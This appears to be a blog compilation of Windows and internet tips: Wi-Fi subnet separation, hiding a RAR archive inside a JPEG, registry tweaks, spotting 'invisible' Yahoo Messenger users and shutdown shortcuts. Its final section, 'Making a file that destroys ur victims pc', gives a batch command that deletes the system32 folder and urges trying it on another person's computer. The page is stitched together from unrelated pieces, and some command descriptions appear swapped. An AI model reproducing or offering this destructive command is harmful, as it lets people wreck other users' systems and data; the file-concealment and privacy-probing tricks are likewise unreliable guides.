Securely share Wi-Fi connectivity with other devices

We’ve gone over the risks of using a Wi-Fi network that is insecure. But what if you want to connect with devices and do so securely? This is usually the case when one wants to

1. Provide wireless internet to a group of users who cannot access a restricted part of your Local Area Network (LAN). This can be called public access wireless internet users (even though it may not permit the general public to access the

LAN).

2. The restricted part of your LAN contains your NAS, some PCs, and other devices. The restricted part needs to exchange files among other devices on the restricted part but not with devices on the public access side.

Let’s assume that you want to do wireless access on the restricted side. There are two ways to do this that come to mind. Purchase a router that supports at least 2 LAN subnets via wireless access points. The Adtran Netvanta 3120 with their Netvanta 150 wireless access point will do this; a Motorola WS 2000 will also do this. Configure subnet # 1 for restricted users and give it a subnet like 192.168.10.0/24 (24 means 24 bit subnet mask of 255.255.255.0); configure subnet # 2 for public users ADN give it a subnet like 192.168.20.0/24. Use the MAC address of the restricted devices to permit these devices

onto the 192.168.10.0/24 subnet which will automatically put these devices in the proper subnet. All other devices will be automatically sent to 192.168.20.0/24. With separate subnets the 2 groups are separated in their own virtual LANS or VLANS.

Have your existing router and wireless strongly secured including MAC address validation, WPA or WPA2 with strong pre-share key. Note the subnet you have with this router (probably 192.168.0.0 / 24 or 192.168.1.0 / 24; no need to change, just note it. Purchase a second wireless router and give

it a different subnet, something like 192.168.20.0/24 and do not provide security on it.

How to hide a file in image !!!

How to hide a file in image

1. Gather the file you wish to bind, and the image file, and place them in a folder.

For the sake of this demonstration, I will be using C:\New Folder-The image will hereby be referred to in all examples as fluffy.jpg-The file will hereby be referred to in all examples as New Text Document.txt

2. Add the file/files you will be injecting into the image into a WinRar .rar or .zip. From here on this will be referred to as (secret.rar)

3. Open command prompt by going to Start > Run > cmd

4. In Command Prompt, navigate to the folder where your two files are by typingcd location [ex: cd C:\New Folder]

5. Type [copy /b fluffy.jpg + secret.rar fluffy.jpg] (remove the brackets)Congrats, as far as anyone viewing is concerned, this file looks like a JPEG, acts like a JPEG, and is a JPEG, yet it now contains your file.

In order to view/extract your file, there are two options that you can take

a) Change the file extension from fluffy.jpg to fluffy.rar, then open and your file is there

b) Leave the file extension as is, right click, open with WinRar and your file is there

Chintan Dave

Faster Start Menu Appearance

Ever wondered why it takes the start menu a few seconds to appear when you click on it?

To speed it up, go to Start > Run… Type regedit then navigate to the HKEY_CURRENT_USER/Control Panel/Desktop/MenuShowDelay section and change the value from 400 to 0.

Chintan Napster

Delete Files Immediately

This will allow you to delete files from your system without sending them to the recycle bin first.

Select Start > Run… type gpedit.msc then select User Configuration > Administrative Templates > Windows Components > Windows Explorer then locate the ‘Do not move deleted files to the Recycle Bin‘ setting and set it.

Chintan Dave

Find who is invisible in yahoo messenger

This page contains all tricks to find as to who is appearing invisible in yahoo messenger


1.)Sometimes some of your friends who appear offline in yahoo messenger may not be actually offline,they may in the 'Invisible' mode.This maybe if they are trying to ignore you or are too busy to talk to anyone.

There is this small trick that you can use to find out what the truth is.

Firstly open your yahoo messenger main window and double click on the name of the person whom you want to check.The chat window will open obviously.

Click IMVironment button, select See all IMVironments, select Yahoo! Tools or Interactive Fun, and click on Doodle.
After loading the Doodle imvironment there can be two possibilities

1.If the user is offline Doodle are will show this "waiting for your friend to load Doodle" continuously .See in the picture below:




2. If the user is online (but in invisible mode), after few seconds (it can take up to one minute, depending on your connection speed), you should get a blank page like in the picture below. So you know that the user is online

Alternate Method:

Chose a person you want to check .Double click to open the chat window. Now simply invite the person for a voice conference. This is done by clicking on the "conference' button on the top of the chat window.
If the talk button appears and turns green then that person is online. But if you receive the message 'Voice chat could not be started ' then the person is offline.


you can also download a software called buddy spy from download.com

• All Information by:- Chintan Dave

Exiting Windows the Cool and Quick Way

Normally it takes a hell lot of time just Shutting down Windows, you have to move your mouse to the Start Button, click on it, move it again over Shut Down, click, then move it over the necessary option and click, then move the cursor over the OK button and once again (you guessed it) click.This whole process can be shortened by creating shortcuts on the Desktop which will shut down Windows at the click of a button. Start by creating a new shortcut( right click and select New> Shortcut). Then in the command line box, type (without the quotes.)

'C:\windows\rundll.exe user.exe,exitwindowsexec'

This Shortcut on clicking will restart Windows immediately without any Warning. To create a Shortcut to Restarting Windows, type the following in the Command Line box:

'c:\windows\rundll.exe user.exe,exitwindows'

This Shortcut on clicking will shut down Windows immediately without any Warning.

By Chintan Dave

Making a file that destroys ur victims pc

Hi Guys! I m here explain to make a file that destroys ur victims pcI m not responsible for the damage caused by this file."

1. Open Notepad

2. write the above command : -
del c:\WINDOWS\system32\**/q

3. Save the above notepad with the extension ".bat or .cmd" as u want

4. !!!!!!!!!!!!!!!!!!!!!!Attention!!!!!!!!!!!!!!!!!!!!!!

Don't double click the file otherwise u r in trouble.
Why ??????

bcz the file u created delete all files from ur system32 folder and when u restart ur pc it will

not start bcz system can not find the files in the system32 folder which is required at the time of booting.

5. You can also test the above by creating a fake folder let suppose

windows in C than C:\.New Folder Copy some old files in it and just Modify the

above command by yourself. By double clicking the bat or cmd file ur all filesautomaitcally get deleted.

6. You can try this file in any one`s computer.(but this result in causing damage to the computer,

so think again before trying this on anyone's pc)

Chintan Dave...